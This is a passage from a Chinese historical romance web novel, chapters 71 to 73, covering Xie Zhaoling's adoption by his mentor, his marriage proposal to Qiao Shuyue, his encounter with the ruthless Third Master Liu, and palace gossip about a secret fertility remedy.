谢昭凌将信贴在胸口,用尽全力,才克制住喷薄欲出的情感。 胸腔里心潮汹涌,将他的理智顿时击得七零八落。 他提起画笔,在一张干净的画纸上潇洒提下几个字,来不及等墨干,便往外冲。 动作太急,被门槛绊了一脚,把在院中等候的紫棉吓了一大跳。 一眨眼的功夫,谢昭凌走到近前,将回信递给紫棉。 紫棉话不多,接过信便福身告辞。 谢昭凌望着紫棉离去,直到再看不到身影,还久久望着。 半晌,转身回屋。 走到险些绊倒他的门槛前,止步。 怔愣驻足良久。 抬手捂住了脸,气息颤抖,低低笑出声来。 70-80 第71章 【71】 一早得了乔姝月的回应,谢昭凌整日都神采奕奕,做起事来干劲十足。 他到宫里兢兢业业值守半日,还陪皇帝说了会话,晌午出宫,饭也没吃,就往城北大营去。 从边关带回来的兵如今都安置在那里,他跑过去找人操练了一个时辰,才后知后觉出饿来。找地方凑合了一顿,他马不停蹄又去到郑府。 柳三爷自回京后,没有回到柳氏本家住,反而搬了出来。 郑丰南将人往里领,面带笑纹,解释道:“三爷喜静,本家近来不太平。” 柳大夫人楚氏险些害死人命,被乔御史连参三本,褚大将军也日日到皇帝面前讨要说法,皇帝嫌烦,让柳司空好好管教儿媳。 楚氏脑子清楚的时间越来越短,整日大喊大叫,直到二房将其送到庄子上,柳府才算消停下来。 二爷是个窝囊的,二夫人强悍霸道,楚家想要将女儿要回,二房便将事推脱到才回京的三爷身上,说如今三爷最顶事,一切由三爷说了算。 责令柳府好好管教楚氏的命令是皇帝下的,三爷自幼为皇帝伴读,二者关系匪浅,若三爷不肯到御前为楚氏求情,那这柳府上下谁说话都不好使。 二夫人说,非得三爷开口,她才敢将人放回去。于是这些日子,楚国公府的人便想尽办法去堵柳三。 柳关山不欲理会这些俗事,索性就躲到郑府来。 “三爷住在我这,知晓的人不多,将军可要守好秘密。” 谢昭凌瞥他一眼,“他平日不出门?” 郑丰南迈过门槛,伸手请道:“近日是不出门的,休假么。” 话音才落,迎面碰上几人。 为首两个年轻力壮的小厮,二人各抬木板架的一头,上头躺着个盖着白布的死人。 而后跟着的是个有些脸熟的男子,身穿黑袍,有着平平无奇、找不出任何特色的一张脸。 那人见到谢昭凌微微怔愣,郑丰南侧过身子,让抬人的小厮过去,才对来人道:“这个也没动静?” 那人见他并不避讳,也没什么可遮掩的,“嗯,主子说没用了,让处理掉。” 郑丰南算了算日子,叹口气,“做干净些,若有人寻,给一笔银子打发走。” 那人颔首应是,冲谢昭凌略一拱手,退了下去。 郑丰南斜了眼那人背影,对谢昭凌笑道:“他名唤影二,是影卫中最得主子青睐的一位。” 谢昭凌收回视线,沉吟道:“当初在悦泉楼,他就一直跟在你身边。” 曾经还和他交过手。 郑丰南诧异他还记得,赞叹道:“不错,正是他,那段时日我与他负责京城事宜,如今主子回京,他自然回到主子身边。” “方才抬出去的是何人?” 郑丰南笑道:“小谢将军,不该知道的,还是不要打听了。” 言讫转身向前,谢昭凌拧眉,他若没看错,那白布下盖的是个女人。 他暗自将郑丰南的话都记在心里,抬步跟了上去。 还未靠近房屋,便见一身着华服的男子在大发雷霆。 说他在发怒,他却没在骂,只是懒洋洋靠在斜椅上,随意捞了身旁的东西,抬手往外扔。 一件一件,皆扔了个粉碎。 院里院外跪了一地,噤若寒蝉。 离他最近的几名婢女,有一人衣衫不整,拢着衣裳,伏在地上无声地哭。 而他似没瞧见有人,拿起一只茶盏,轻轻巧巧地,掷了出去,正好磕在那婢女光裸的肩头。 婢女瑟缩了下,将裹身的衣裳抓得更紧,抵在地面上的额头愈发用力,渐渐竟有血迹沾到地上。 谢昭凌停下脚步,目光落在那男子身上。 虽在躺坐着,却能从他的腿长估算出他的身量来,是个不比他矮的人。 穿着大红色织金绣蟒锦袍,上头繁复精致的花纹和顶尖的绣技无一不彰显其身份尊贵。 男人瞧着很是年轻,竟一时分辨不出是二十多还是三十出头,看到来客,挑唇一笑,更显张扬艳丽之姿。 一副无可挑剔的皮囊,周身气质放荡不羁,骄奢颓靡,养尊处优,是谢昭凌对这男子的第一印象。 “阿南,生面孔啊。” 郑丰南忙打了个拱手,恭恭敬敬地唤了声主子,又道:“这位便是小谢将军。” 柳关山来了兴致,“哦?是那位打边境回来?” 郑丰南笑道:“属下同您提过他的。” “你非让我多留些日子,原来就是为了等此人,还说我见之定会心生欢喜……” 毁了他那么多暗线,他还能心生欢喜?那时他没入心,如今却不得不正视起来。 柳关山打椅子上起身,摇着折扇,踱步到近前,他眯着眸打量,如一只笑面狐狸,叫人看不透心思。 离得近了,谢昭凌才瞧见,柳三爷腰间佩戴的不是寻常玉佩,而是缩小数倍的虎符和玉玺。 玉雕刻成那二者的形状,就这么堂而皇之悬于腰间。 虎符与玉玺皆为御用之物,如此来往宫中,竟不会被治大不敬之罪么。 谢昭凌陷入沉思。 谢昭凌思忖之时,柳关山也在安静地打量他。 柳关山一像不喜容貌胜于自己之人,今日见着这小友,说不出缘由地没有什么讨厌的情绪。 “这位新朋友很合眼缘,我确实喜欢,会在京中多留些时日。”男人自带风情的凤眸斜了谢昭凌一眼,勾唇浅笑,“阿南,下回再带人来家中玩。今儿乏了,改日再议吧。至于这些……” 他收了笑意,冷淡地扫过一地仆从,目光如看死尸一般冰冷,漫不经心,轻飘飘地道: “没甚用处,都杀了吧。” 郑丰南倏地噤声。 那跪在地上的婢女忽然惊慌出声,她神情仓惶,跪着几步蹭到男人脚边,她抬手揪住男人的袍子,仰着满是泪的脸凄声哀求:“主子,您方才说要我留下的,我有用,您别杀我!” “你么。” 柳关山凉薄的目光落在婢女脸上。 他不带感情地从头将她打量到脚,半晌,轻喃了一句:“那就给你一个机会吧。” 他没再看任何人,抬步往外走。 郑丰南连忙拉着谢昭凌后退一步,让开通道,他一揖到地,恭送人离开。 谢昭凌直挺挺站着,看着那婢女狼狈地拢着衣衫,踉踉跄跄跟了上去。 直到人走出园子,再不见踪影,郑丰南才劫后余生般,直起腰,长舒了口气。 他揩着额角的冷汗,讪笑了声,“我送小谢将军出府。” 谢昭凌好笑道:“你们做主仆多久了?” 与眼前人谈话便能放松许多,郑丰南“唔”了声,“几年吧。” “几年时间,你还如此惧怕他?” 郑丰南无奈摊手,“三爷心狠,莫说几年,就是用了二十几年的心腹,处理起来亦不会手下留情。” 二十几年? 谢昭凌微微蹙眉,“他竟已三十了么。” 郑丰南哈哈大笑,“年近不惑啦!三爷保养得宜,连陛下回回都追问他养颜秘方呢。三爷可是陛下的童年伴读,年岁与陛下是相当的。” 谢昭凌哑然,皇帝他今日还见过,这柳三看着比皇帝年轻至少十岁往上。 见他沉默不语,郑丰南调侃地觑他,“不怪你诧异,连我最初都不敢置信,初识那会他更年轻,瞧着同我弟弟差不多,谁知竟比我大十岁。” 他忽然抓锋一转,又开起他的玩笑来:“我眼光毒辣,瞧着将军这样子,也是不显老的,没准等将军临近不惑之年时,比我们三爷还年轻呢。” 郑府大门前,谢昭凌蓦地停下脚步,目光直直望向对方。 他目光幽幽,带了点威压,瞧着渗人。 郑丰南被他看得脊背发凉,摸了摸自己的脸,小心翼翼地:“谢将军?” “不必送了,再会。” 谢昭凌意味深长地看他一眼,拱手告辞,快步离开。 回到将军府上,褚玄英已经在了。 谢昭凌没有立刻去问安,而是一刻不停回了他的书房。 房门紧闭,无人知道他在做什么。 褚玄英左等人不来,右等还不来,按耐不住急性子,索性主动去找他。 人家都是徒弟拜见师父,他这倒好,一天天上赶着伺候徒弟。 褚玄英带了点怨气,也不敲门,直接将房门推开。 小徒弟倒没在屋里做什么见不得人的事。 他立于书案后,正对着桌上一张画像出神。 褚玄英大老粗一个,最烦那些文人整日闷在房中做些伏案书写的无聊事。他一个武将,收的徒弟竟也爱写写画画,更显得他不学无术了。 他一把将那张画纸拿起来,看清楚上头画的什么,竟是乐了。 挑眉笑道:“哟,画自己作甚?想欣赏绝世容颜,照照镜子不就得了,何必费这个功夫?” 谢昭凌还盯着桌面沉思,半晌没个回应。 “古古怪怪。” 褚玄英小声嘟囔。 他抖了抖画纸,欣赏小徒弟的画技,咋舌道:“说起来那百夫长不是说不擅人像吗?我瞧你这学得也不错啊,都有你五分神韵了。” “我记得你初学时,画虎像猫,画狐成犬,还闹了好一通笑话。” 谢昭凌回神,无奈弯唇,“师父,那是您老人家眼花,将士们都说画得传神。” 褚玄英理直气壮道:“嘁,那是他们喜欢你,故意哄着你的,我看就是不像。而且我这是激励你刻苦,免得他们都夸你,你一时得意,技艺止步不前。” 谢昭凌不与他争辩,虚心请教:“依您看,如今我画得像吗?” 褚玄英认真地打量画像,又抬眼看他,“比老虎狐狸画得像些,鼻子是鼻子,眼睛是眼睛的。” 谢昭凌:“……” 问错人了,师父他老人家不懂画。 褚玄英琢磨一会就头疼,把画纸扔下,闭眼说道:“我瞧着,你最好的作品还是那些飞鸟,栩栩如生。” “百夫长擅飞鸟,我画得像也是应该的。” “这倒是,你是个一点即通的好学生。” 学什么都很快,且能在极短的时间就做到很好,超越师父也只是时间问题。 这不,如今他这个小徒弟,倒是比他还强上一分。 褚玄英正在心中感慨着青出于蓝胜于蓝,便听这小子忽然来了一句: “师父,您能做我义父吗?” 褚玄英:?? 怎么好端端的,讲恐怖故事。 谢昭凌将画纸折好,随手放在边上,眼尾含笑,“我无父无母,乔御史看不上我。若您肯认我当儿子,那我和她就是一家人。” “表兄表妹,亲上加亲,乔御史必定再挑不出错处。” “等往后,我给您养老,您也不必担心命硬克亲,我命也硬,咱们互不影响。” 褚玄英瞪圆了一双眼,一时间竟不知该从哪句挑嘴。 半晌,他骂道:“我那姐夫性子古板又刻薄,他看不上你可不单单因为你没爹没娘!” 曾经那一桩桩一件件,这小子该不会全忘了,只记得出身微寒这一条吧? “在他眼中,你可还担着人命呢!” 谢昭凌反问道:“边关三载,我身上背负的人命已数不胜数。那么多将士,难不成都不成家了?” “你这话莫同我辩,同他说去!” “我不敢。” “你不敢,我就敢了?” 谢昭凌笑着揖手:“师父有胆有识,威风凛凛,没有哪回在乔御史那儿落了下乘。” 褚玄英:“……” 他神色一凝,迟疑地瞄他一眼,虽疑他故意哄人,但到底心里免不了一阵美滋滋的。 嘴角很难往下压,又不想在小辈面前失了体面,于是强行绷着个脸。 最终成了一副想笑又不好意思笑,肉笑皮不笑的诡异模样。 谢昭凌只当没看到,面不改色又捧了褚玄英许久,终于哄得人眉开眼笑,松口答应将他收为义子。 谢昭凌这才松了口气,露出个轻松的笑来。 简单地做了个认亲,磕头拜父,又敬了茶,褚玄英说等过些日子带他去拜宗祠,再将他记入族谱。 谢昭凌即便心急如焚,也只得按捺性子,嘴上言说那些事皆不着急,又怕褚玄英真的不急,没忍住透了个底,说自己打算去乔府提亲,届时还请义父帮忙走这一趟。 褚玄英这才知道臭小子黑心肝算计到了他身上,“合着你想成婚了才想起我来!” 他这是被人利用了,还没心没肺乐呵呵的。 生气归生气,可这儿子到底已经认下,反悔不得。 褚玄英骂骂咧咧,扭头出去为他准备提亲的聘礼去了。 这些年谢昭凌应该没存下什么家底,毕竟边关实在苦寒,将士们吃穿都是问题,谁能私藏下银两? 褚玄英也没钱,在这上头帮不上他什么。 好在回京以后,皇帝赏赐了不少,应该够了。 傍晚时,谢昭凌来到褚玄英的房间,将账本交给他。 褚玄英正笨拙地拨弄算盘,翻开一看,险些从椅子上掉下去。 谢昭凌面对褚玄英错愕的目光,坦然道:“私房钱。” 原来在不打仗时,谢昭凌早早就派人去江南富庶之地开了几个铺子做买卖。 他低价从边境购入特有的香料药材,干果兽皮,乐器及珍稀的器具。再抬高价格,卖到江南的富户手里去。 本金是找乔誉借的,最初负责张罗买卖的也是乔誉的人。 这几年他和乔誉赚了不少,还清乔誉的息钱,再分成以后,他腰包也鼓了起来。 “师父,皇帝赏给您的那份,您分了一部分给将士们,剩下的本就不多,您就好好留着吧。” 褚玄英沉默良久,才长叹了一声,无奈道:“你啊,藏得太深。” 说罢,将单子上自己填补上去的那寒酸的几行给划掉了。 原来他早就在未雨绸缪,走一步,想十步,看得比人都更深更远。 褚玄英除了给他一个名正言顺的身份,已经再没有什么能帮他的了。 两日时间,万事齐备。 乔姝月听到谢昭凌来提亲时,惊得一口蜜果卡在喉咙里。 她咳了半晌,咳得脸颊通红,上气不接下气,抓着玉竹的手臂,“他,他……” 玉竹直白道:“对,他要娶你。” 乔姝月脸又红了几分,松开玉竹,站起身就要往外走。 第72章 【72】 才到门口,便被刘妈妈拦抱在怀里。 刘妈妈听了这喜事也高兴,笑道:“姑娘可不能去,哪有男方来求娶,正主亲自到场的?也不嫌害臊。” 乔姝月道:“我一向不守规矩,就偷偷看一眼,可好?” 刘妈妈笑着摇头,“不好,夫人特意嘱咐,不可放姑娘出去。” 乔姝月看向院子,整个木兰院的婢女、李护卫、甚至还有粗使的仆从都齐整地站在院里,严阵以待,防着她乱跑。 她无奈败下阵来,只得放弃。 乔姝月搬了个小凳子,坐在院中央,外圈围了一帮人盯着她。 她得了消息就在等,等啊等,一直到下晌,昏昏欲睡了,院门口忽然出现个熟悉的身影。 乔姝月一激灵,猛地从瞌睡中清醒,欣喜地叫了声:“四哥!” 她腿坐麻了,揉了揉腿,还未来得及起身,便见乔誉一阵风似得从她身边走过。 路过她时,眼神都没来一个,随手往她身上抛了个东西。 乔姝月手忙脚乱接住,摊开一看,竟是个活灵活现的小玉兔。 背后还刻着一个“月”字。 乔姝月忍不住弯了弯唇。 这手艺真不赖,一看就知道是谁做的。 乔姝月把宝贝小心翼翼揣进怀里,再抬头,便见四哥坐进了她每日晒太阳的躺椅里。 手抵在额头上,一语不发,看上去很疲倦。 待腿上的酸麻过了,乔姝月没理四哥,先跑到院子门口,往外张望,没见到人,有些失落。 乔誉闭着眼睛,淡淡道:“他回去了。” “……喔。” 乔姝月垂头丧气往回走,搬着小板凳到乔誉身边,坐下。 她双手托腮,仰着头,眼巴巴地望着哥哥。 乔誉仍没睁眼,似乎知道她想问什么,没什么情绪地道:“父亲母亲都同意了。” 乔姝月无声地露出了个灿烂的笑容。 不能笑,太不庄重了。 乔姝月撑着下巴的双手顺势捂住唇。 可惜迟了,还是有一声愉悦的笑声脱口而出。 “噗嗤。” 乔誉睁眸,拧着眉,凉凉地瞥她一眼。 见他看来,乔姝月也不顾他冷脸,嗓音很甜,讨好地笑道:“四哥,他有说什么吗?带给我的话。” 乔誉心情不佳:“没有。” “唔,那好吧。”乔姝月抚掌笑道,“那我去给他写封信吧。” 就说很喜欢他送的小兔子。 她仰头看了眼头顶的烈日,关切道:“四哥,等会日头大,小心暑热。” 乔誉的手不知何时又搭了回去,没吭声。 乔姝月说完,愣住。 她盯着四哥的下半张脸,疑惑地歪了下头。 心里觉得古怪,正欲凑近看他。 半晌没听到她离开,乔誉掀了眼皮,不耐道:“还有事?” 乔姝月身子一顿,摇头,“没有,四哥,你不回院吗?” “不去。”他低落道,“姨娘来了,我躲躲。” 乔姝月沉默了会,“陈姨娘还阻你科考吗?” “嗯。” “那她……等会要来我这儿,怎么办?” “不会,她等不到我,就会回去。” 乔姝月犹疑道:“那你要不进屋?外头晒。” “不方便,不用理我,你去吧。” 乔誉不欲多聊,随手捞过一本书,盖在脸上。 乔姝月一步三回头,带着满腹的疑问往回走。 “月儿。” 乔誉忽然又叫住她。 她疑惑回头。 乔誉想说,晚上谢昭凌或许会来。 但没凭没据,只是他的猜想,他的直觉。说不出缘由,他就觉得谢昭凌会来。 犹豫了下,最终还是摇头。 万一猜错,又要让妹妹空欢喜一场。 乔誉摆了摆手,将书盖回去。 ** 暮色渐浓,月上梢头。 褚玄英拉着谢昭凌喝了一晚上酒。 “我也有儿子了。”褚玄英黑红的脸上满是高兴,“还有外甥女,也要成儿媳了!” “虽然你小子不地道, 璍 为了成婚才找爹,可我还是高兴!” “来,喝!都喝!”一边说着,一边大掌用力拍了拍谢昭凌的肩膀,豪迈道,“今儿都记我儿子账上!” 褚玄英一呼百应,今日提亲成了,他大手一挥,叫上军中交好的部下,都来喝酒。 谢昭凌无奈笑笑,任由他们闹去。 曾几何时,他孤身一人。哪里想过,有朝一日,他也能拥有这么多说得上话,能一起吃饭喝酒的好友。 他了却一桩心事,难得放纵自己。 有来敬酒的,他来者不拒,一杯接一杯,脑子越喝越明。 散场时已快到二更,他搀着醉醺醺的褚玄英往回走。 “师父,仔细脚下。” 褚玄英不干了,闹道:“叫什么师父,都认爹了!改口叫爹!” “……” 沉默了会。 “虽时机不对,但我还是要说。”谢昭凌低声道,“不全为了她,您对我的好,这辈子都难偿还,我自幼失怙,自跟了您走,师父就是我的父亲。” “我是真心认您做父亲的。” 褚玄英一把甩开他的手。 不知是否听错,谢昭凌好似听到汉子哽咽了一声。 褚玄英往前踉跄几步,停在原地,仰头望天,半晌,才瞪他一眼,手指着他,声音带了点鼻音:“臭小子,欠打,不许说这种腻歪人的话!” 谢昭凌轻声笑道:“是,义父,我不说了。” “别跟那臭丫头学得油嘴滑舌的,净会哄人!这些年每回我去乔家,那小丫头都一口一个舅舅我好想你,唬得我神魂颠倒,每回都得留下点什么给她,真是坏极了!” 他这辈子约莫也不会再娶亲,注定无儿无女,孤独终老。 可如今,他也算儿女双全。 褚玄英抬手抹了一把眼睛,晃晃悠悠继续往前走。 谢昭凌要扶,被人一把推开。 谢昭凌便不动了。 酒喝得多,如醍醐灌顶。 困扰了他多日的问题在这一刻也变得明晰。 或许他自己比他以为的还要不堪。 谢昭凌一时冲动,忽然问道:“若我做出让您失望的事,您会后悔今日的选择吗?” 褚玄英回过头来,好不容易才站稳,他嗤笑了声,嘲讽道:“老子自小就不知这俩字怎么写,你在说什么屁话。” 他这一生从未后悔,哪怕因为顶撞了皇帝,被贬至边疆,他也从无后悔。 除却……除却娶了两任妻子,又害得人病故这件事。 “你当我是傻子,什么都不知?”他语气张狂,轻嗤道,“如今为父被你这小崽子拉上了船,未来甭管生死,咱们爷俩一起面对吧。” 谢昭凌望着男人远去的背影,忽然很难过。 他改道绕去乔府。 一跃而起,翻墙入府。轻车熟路,避人耳目,顺利摸进了木兰院。 他直直朝着房间而去。 走到门口,正要敲门,房门正好打开。 刘妈妈见到他,吓得心脏都停了,“哎哟,你这孩子,要吓死谁。” “我想找她。” 谢昭凌垂着眼睛,低声说道。 刘妈妈无奈道:“这……不太方便啊。” “都这么晚了,不若明日?” 明日? 等不到了。 谢昭凌一语不发,抬掌按在门上,作势往里推。 刘妈妈大惊失色,死守着门,叫道:“不可!不能进去!” 可是刘妈妈的力气哪里抵抗过一个习武之人。 谢昭凌轻而易举便将门推开。 他们动静不小,乔姝月早听见了,匆匆穿好衣裳,打耳房出来。 一到外间,便见男人已经站到了屋里,正对着那扇屏风,朝里间说话。 “阿凌?” 谢昭凌倏地回头,大步走了过来。 一阵带着酒气的风拂过,乔姝月被人紧紧抱进了怀中。 “阿、阿凌?出什么事了?你喝酒了?” 刘妈妈叹了声,退出去,将门关好。 “嗯。” “为什么,心情不好吗?” “能娶你,我高兴。” 乔姝月羞红了脸,她扭捏着,想要推开他,可又实在舍不得,便大胆地勾住他的腰,脸埋进他胸口,对着他心脏的位置,赧然道:“我也高兴。” 上回他们在这屋里相拥,是她饮了酒,如今醉的成了他。 他唇贴上她耳廓,哑声去磨她:“我没醉,我很清醒。” 乔姝月笑着往后缩,“酒鬼都是这样说的。” 谢昭凌这才注意到,她是散着长发的。 不止拆了发髻,连衣裳也…… 匆匆披了个毯子,没来及合拢,还能看到里头的寝衣。 寝衣的带子系得凌乱,打了个死结都没顾上调整。 他恍惚间嗅到了耳房散出来的,潮湿的水汽。 她身上带着淡淡的香。 是才沐浴过,穿上衣裳吗? 谢昭凌忽然听到了自己聒噪的心跳声。 难怪刘妈妈会说不方便相见,让他等明日。 他想,自己确是醉了。 “我太想你,一时失礼。” 他松开手臂,眼睛不知能看向哪里,喉结轻滚,情潮上涌,使他嗓音更添了几分欲色,克制着道: “弄脏你了,抱歉。” 乔姝月面似红霞,垂着鸦睫,糯声道: “不脏,我正要洗。” 猝不及防,二人对视一眼。 谢昭凌一双乌瞳热意灼人,看得乔姝月心尖微微泛麻。 “不,不亲吗?” 她读出了他眼底的渴望,自己也生出几分想法来,含羞带怯地望着他。 谢昭凌眸间墨色翻涌,哑着嗓子:“喝过酒,不干净。” 乔姝月不自然地飘忽着视线,一咬牙,主动迎上去。 勾住他脖颈,踮起脚来,红唇凑了过去。 第73章 【73】 乔姝月勾着谢昭凌的脖子,观他神情,就知他要躲。 对他这副神情,她实在太过熟悉。 前世陛下顾念她病体,每每情动,都硬生生克制下去,望着她时,就是这副惑人靠近又隐忍不发的模样。 她自己的身子自己清楚,有时被他亲吻抚摸得也来了兴致,他却也不愿再更进一步,惹得她上不去下不来,只能狠狠咬上他肩膀泄愤。 果不其然,此时此刻,男人下意识便偏侧了脸。 乔姝月哪肯放过他,知他定会朝右躲,于是未卜先知似得,也朝着那边贴了上去。 他躲她追,还是叫她给“轻薄”上了。 双唇只是一触即离,谢昭凌便后仰了头,躲开她。 他醉酒时意志本就薄弱,禁不住撩,此刻扣在她腰后的手不自觉收紧,险些就压抑不住。 他没开口,只那一双黢黑的眸子无声散发出压迫感,黑漆漆的望不到底,若是旁人,定要被吓得不敢吭声,可乔姝月却从他那里头看出来点无措和疑惑来。 无措于不知如何应对她的热情。 疑惑于她为何知晓他会向何处躲。 乔姝月自得于自己转移了他的注意,勾得他再没了自怨自艾的悲伤情绪,心底一松。 神情娇俏,目光狡黠,斜眼梢睨他,似是在说,她就是这般厉害,是他肚里的虫,知他在想什么。 两人也不说话,只目光痴痴纠缠,你来我往,眉目传情。 半晌时间,光是彼此看着,都觉得甚有趣意。 时辰不早,刘妈妈在外头试探地敲了敲门。 谢昭凌这才捏着她的下巴往上抬,在她唇角克制地落下一吻。 “怎知我会朝这边躲?”他问,“这也是做梦梦到的?” 乔姝月嗔他,“谁会做这么不正经的梦?” 他会。 谢昭凌没吭声。 乔姝月吊着男人的脖子,又闭着眸往前,这回他没再躲,由着她贴上自己。 她软着声音,似一把挠人的小勾子,说道:“就不能是了解你么?” 谢昭凌瞥她一眼,没做声。只揽着她的腰,抱了一会。 临别前,他站在门口,背影对着她,沉默良久。 他想问问她,梦里褚玄英是何结局。 到底没敢问出口。 背对着她,摆了摆手,翻墙走了。 ** 乔家幼女与谢昭凌定亲一事,很快传进宫中。 皇帝本有意为谢昭凌择一高门贵女来赐婚,却未料想他动作这样快,自己先把婚姻大事给定下了。 褚玄英将事都揽到自己身上,言说自己这小徒弟实在稀罕得很,收了他做义子,还怕人跑了,又说服娘家妹子,将人家的独女也许了去。 皇帝问起谢昭凌可见过乔氏女,谢昭凌笑道:“回京之日,凑巧有过一面之缘。” 皇帝顿觉这二人确是有缘,便不再说什么。 君臣几人未聊几句,国师来请皇帝,说丹药已成,请皇帝过目。 皇帝这下正事也顾不上再说,将一众朝臣皆留在勤政殿,忙不迭就随国师去了。 “易卿,朕近来服过药后总觉有力量在五内游走,又感前所未有之舒适,这都是易卿的功劳。” “皇上满意就好,然那药力大,不可常服,故而微臣研制了新丹,药力虽较先前稍减,却可保皇上龙体,益寿延年。” 二人渐行渐远。 众臣面面相觑,笑着寒暄攀谈,肩并肩往外去。 只谢昭凌离开时,朝国师与皇帝远去的方向看了一眼。 褚玄英与同僚走出去好几步,见他还在原地,转过身来催他。 谢昭凌这才收回目光,面无表情跟了上去。 国师出关,于是皇帝又几日不理朝政,将担子都压到了太子肩上,由二皇子辅政。 可太子近来身子不好,他又不肯由着二皇子独揽,于是强撑着也不肯放权。 乔姝月在家偶然听到一回大哥和父亲谈事,说太子再这么下去身子会拖垮。后又听说,南边又起了战乱,朝廷会派人去平叛。 她这才发觉,原来在这么早的时候,一切就有了预兆,许多事并非无缘无故忽然发生。 ** 乔姝月与谢昭凌的婚期定在来年七月。 时间一晃而过,距离婚期只剩一月有余。 乔姝月十六岁生辰刚过,谢昭凌也过了二十一岁。 近来乔姝月愈发焦躁不安,连一向脑子缺根弦的二哥都发现了。 乔良想不出法子给妹妹宽心,又探不出她郁结的缘由,只得去求教乔誉,他点子多,定有办法。 乔誉也不是能掐会算的神仙,他只隐约猜到她情绪的波动定与谢昭凌那厮有关。 但他私下找那厮打听过,那小子嘴严,分毫不肯透露,他便不再上赶着追问。 毕竟这几个月他还要准备秋闱考试,亦是分身乏术。 陈姨娘愈发难缠,堵得他不敢回院,找了借口到将军府上借住些时日。 也是这段时间,乔誉更确定,谢昭凌在暗中谋划什么大事。 有几次被他撞见谢昭凌私下与一人见面,那人他知道,是柳三爷的爪牙,姓郑。 后又有一回他看到谢昭凌与柳三爷交谈。 谢昭凌与柳家人站在一起了吗? 乔誉恼怒一瞬,很快就打消了这个猜测。 哪怕眼见为实,可他依旧不肯相信,谢昭凌会站在乔家的对立面。 虽然那小子确实是黑心肝,也确实心思深沉。 但他待月儿的心不假,他满脑子都是月儿,就算做尽伤天害理之事,也定然不会令月儿为难。 乔誉不知乔姝月是否知道,那晚特意在谢昭凌门前守着,等男人深夜归家,他直白了当地问:“你所做之事,月儿可知?” 得到肯定的回答,乔誉放了一半的心,又问:“你是否做了对不起她的事。” 谢昭凌说他没有,顿了顿,想要补充说这都是乔姝月准许他做的,乔誉却极有分寸地不再问,不再管了。 乔誉只同他道声好梦,便回去了。 乔誉是个好哥哥,谢昭凌知道,所以有问必答,也不瞒他。 谢昭凌想,兴许有朝一日,自己能与乔誉并肩作战,也未可知。 ** 宫里的花都开了,柳贵妃设宴邀各家女眷共赏。 乔姝月终于得了机会进宫。 她谨言慎行,一直跟在陆思蓁和林韵身边,不敢乱走。对于柳贵妃,她提着万分的小心。 说起与柳贵妃的交情,实在是没有多少。当初柳蔓盈十六岁被柳家从寿州老家接到京城来,那时先贵妃已然重病。 两年后嫁入宫中,顶替病逝的大姐,成了新的柳贵妃。 如今是她在宫里的第八个年头,已然和前世亡国那年乔姝月见她没什么两样。 前世柳家覆灭,暴君被谢昭凌斩首于寝宫前。 柳蔓盈心灰意冷,在其后殉情。 乔姝月没见到她最后一面,只记得自己入狱前,见到的柳蔓盈,就和现在一样,娇媚动人,美艳无双。 因为今生又多了些情报,知晓她是郑丰南的青梅,故而忍不住频频偷望向她。 她以为自己藏得好,殊不知这偷偷摸摸想看又不敢看的模样,早就落在了柳蔓盈的眼睛里。 宴席间,柳蔓盈冲她招手,也没把她往后引,就安置她在身侧,同她闲聊。 柳贵妃的表面功夫做得很足,挑不出纰漏,问得仔细却又不至于冒犯。 问起婚事,乔姝月谨慎措辞,滴水不漏,柳贵妃笑意盈盈,不计较她的防备。 乔柳两家不合,早是许多年里众所周知的。若是互相表现得太过亲近,才是奇事。 攀谈一阵,花了乔姝月半条命。 等她落座回席上,才惊觉后背已然被冷汗浸透。 她摸不清柳蔓盈找自己说话是为何,总之不会有什么好事。 出宫时,陆思蓁发觉东西掉了,想要回去找,乔姝月本想和她一起,但想想还是算了,在宫中多做多错,还是小心为好,和林韵一起在原地等她回来。 俩人等了会,日头毒,晒得头晕,便在旁边找了一个荒废的凉亭小憩。 凉亭四面被茂密葱郁的草丛挡着,只出口一面挨着一条鹅卵石小路,能瞧见面前那条路上经过的人。 陆思蓁只要从这经过,她们就能看到她。 俩人都不是话多的性子,在亭子里安静欣赏宫中的美景。 不多时,不知打哪儿响起一阵交谈声,听上去是个小太监与小宫女。 约莫是以为此处无人,才在这儿说悄悄话抱怨: “府上又遣人来了?” “是啊,娘娘正为这发愁。昨儿来人催要秘方,娘娘应下。今儿早上又使人来问,说方子怎还未送到府上,可是不想他好?” 另一人抱怨道:“咱们娘娘忙活一早上,哪里抽得出空去要,他怎的不自己去?就知道催娘娘。” “听说三爷与国师有些龃龉,俩人头前大吵一架,不欢而散来着。” 凉亭之中,林韵诧异地瞪大了眼。 乔姝月抬手示意她噤声,林韵点头,外头有人,她们不好出去,只得被迫在这儿听墙角。 乔姝月也未曾料想自己进宫一趟,还能听到柳三爷的闲话。 只是……柳三爷和国师? 乔姝月浅浅蹙眉,前世未曾听说这二人因何事翻过脸。 国师素来偏向柳氏,当年柳蔓盈进宫接任嫡姐之位,这之间便少不得国师推波助澜。二皇子这些年结党营私,国师亦是其助力,太子这位置坐得并不稳当,国师是一大阻碍。 难不成是国师发现柳三爷并不诚心为家族,才起了隔阂? 她继续听,只听那边冷笑了声,说道:“嗤,又抹不开面,又要求人办事,三爷这性子忒傲。” “我瞧着他撑不了几日,这事他心急得很。” “怎么说?” 小太监犹豫了下,压低声道:“三爷这些年在子嗣上无力,并非是他不想要,实则是因他没那福气。” 林韵捂住嘴,乔姝月蓦地拧眉。 小宫女惊呼一声,“那他管咱娘娘要方子,是为求子 璍 ?” “正是,三爷年近不惑,膝下却无一子半女,他早十几年便四处搜寻秘方,这些年一直在外游历,为的就是这个,只可惜一无所获。十几年啊,还求不来,他能不急?他实在没辙,这才回京找上宫里。国师大人神通广大,纵然三爷瞧不上他,也不得不求上一求,这可是他最后的救命稻草。” “……” 二人又嘀咕一会,一前一后地走了。 林韵拍着胸口,惊魂未定。乔姝月冷静地嘱托她,让她忘掉今日所闻,权当没听到。 林韵素来文静胆小,闻言不住点头,她不欲给家中及自己惹祸,必定是要装聋作哑的,也劝了乔姝月一句:“咱俩都什么都没听到,也没来过这凉亭。” 乔姝月没应声,与她并肩走出去,回到原处,等来陆思蓁,姐妹三人一同离宫。 乔姝月没有回府,而是命李护卫将马车直接驶到将军府外。 她没等管家通报,提着裙子便向里跑。 一路走到谢昭凌门前,抬手敲门,唤了他一声。 房间里安静一瞬,蓦地有脚步声急促靠近。 门打开,乔姝月便落进一个温暖的怀抱。 男人像一只大猫,缠抱着她,下巴在她肩上亲昵地蹭来蹭去。 “阿月,怎的来找我?是想我了?” 乔姝月无心玩闹,拍拍他肩膀,让他松开,而后一脸严肃踏进书房。 谢昭凌于是也肃正了神色,关好房门,随她进屋。 